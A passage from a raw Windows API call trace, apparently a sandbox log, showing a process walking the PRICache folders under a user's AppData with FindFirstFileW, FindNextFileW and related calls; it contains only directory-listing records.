cAlternateFileName="428149~1.PRI")) returned 1 [0179.926] FindNextFileW (in: hFindFile=0x135f890, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.926] FindClose (in: hFindFile=0x135f890 | out: hFindFile=0x135f890) returned 1 [0179.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.927] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2717123927", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2717123927", lpFilePart=0x0) returned 0x43 [0179.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.927] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2717123927", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2717123927", lpFilePart=0x0) returned 0x43 [0179.927] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\2717123927\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1288aa34, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x1288aa34, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x1288aa34, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.927] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1288aa34, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x1288aa34, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x1288aa34, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.927] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1288aa34, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x1288aa34, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x1288aa34, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0xba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2586505411.pri", cAlternateFileName="258650~1.PRI")) returned 1 [0179.927] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.927] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.927] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\4185669309", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\4185669309", lpFilePart=0x0) returned 0x43 [0179.927] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.928] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\4185669309", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\4185669309", lpFilePart=0x0) returned 0x43 [0179.928] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\4185669309\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a600559, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a600559, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a600559, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.928] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a600559, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a600559, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a600559, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.928] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a600559, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a600559, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a600559, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0xab30, dwReserved0=0x0, dwReserved1=0x0, cFileName="1295849179.pri", cAlternateFileName="129584~1.PRI")) returned 1 [0179.928] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.929] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\450179714", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\450179714", lpFilePart=0x0) returned 0x42 [0179.929] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.929] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\450179714", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\450179714", lpFilePart=0x0) returned 0x42 [0179.929] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\450179714\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2b90c5, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a2b90c5, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a2b90c5, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f790 [0179.930] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a2b90c5, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a2b90c5, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a2b90c5, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.930] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a2b90c5, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0x7a2b90c5, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0x7a2b90c5, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0xae0, dwReserved0=0x0, dwReserved1=0x0, cFileName="678825034.pri", cAlternateFileName="678825~1.PRI")) returned 1 [0179.930] FindNextFileW (in: hFindFile=0x135f790, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.931] FindClose (in: hFindFile=0x135f790 | out: hFindFile=0x135f790) returned 1 [0179.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\642584412", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\642584412", lpFilePart=0x0) returned 0x42 [0179.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.931] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\642584412", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\642584412", lpFilePart=0x0) returned 0x42 [0179.931] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\642584412\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7926d8, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe7926d8, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe7926d8, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f450 [0179.933] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7926d8, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe7926d8, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe7926d8, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.933] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7926d8, ftCreationTime.dwHighDateTime=0x1d5c556, ftLastAccessTime.dwLowDateTime=0xe7926d8, ftLastAccessTime.dwHighDateTime=0x1d5c556, ftLastWriteTime.dwLowDateTime=0xe7926d8, ftLastWriteTime.dwHighDateTime=0x1d5c556, nFileSizeHigh=0x0, nFileSizeLow=0x8cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="869362043.pri", cAlternateFileName="869362~1.PRI")) returned 1 [0179.933] FindNextFileW (in: hFindFile=0x135f450, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.933] FindClose (in: hFindFile=0x135f450 | out: hFindFile=0x135f450) returned 1 [0179.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.933] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x88 [0179.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.933] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x88 [0179.933] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\c5e2524a-ea46-4f67-841f-6a9465d9d515_10.0.15063.0_neutral_neutral_cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d59771, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83d59771, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83d59771, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f410 [0179.934] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d59771, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83d59771, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83d59771, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.934] FindNextFileW (in: hFindFile=0x135f410, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83d59771, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83d59771, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83d59771, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.934] FindClose (in: hFindFile=0x135f410 | out: hFindFile=0x135f410) returned 1 [0179.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x6f [0179.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.934] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x6f [0179.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\CortanaListenUIApp_10.0.15063.0_neutral__cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83020fb6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83020fb6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83020fb6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135f950 [0179.938] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83020fb6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83020fb6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83020fb6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.938] FindNextFileW (in: hFindFile=0x135f950, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83020fb6, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x83020fb6, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x83020fb6, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.938] FindClose (in: hFindFile=0x135f950 | out: hFindFile=0x135f950) returned 1 [0179.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x6e [0179.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy", lpFilePart=0x0) returned 0x6e [0179.938] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopLearning_1000.15063.0.0_neutral__cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81af8126, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81af8126, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81af8126, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.942] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81af8126, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81af8126, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81af8126, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.942] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81af8126, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x81af8126, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x81af8126, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.942] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x71 [0179.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12fea70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x71 [0179.943] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\DesktopView_1000.15063.0.0_neutral_neutral_cw5n1h2txyewy\\*", lpFindFileData=0x12fece4 | out: lpFindFileData=0x12fece4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80ca9f1d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80ca9f1d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80ca9f1d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x135fb50 [0179.943] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80ca9f1d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80ca9f1d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80ca9f1d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.943] FindNextFileW (in: hFindFile=0x135fb50, lpFindFileData=0x12fecf0 | out: lpFindFileData=0x12fecf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80ca9f1d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x80ca9f1d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x80ca9f1d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0179.943] FindClose (in: hFindFile=0x135fb50 | out: hFindFile=0x135fb50) returned 1 [0179.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef78) returned 1 [0179.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x12fef84) returned 1 [0179.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, lpBuffer=0x12feaa4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy", lpFilePart=0x0) returned 0x8a [0179.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x12fefbc) returned 1 [0179.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Windows\\PRICache\\E2A4F912-2574-4A75-9BB0-0D023378592B_10.0.15063.332_neutral_neutral_cw5n1h2txyewy", nBufferLength=0x105, 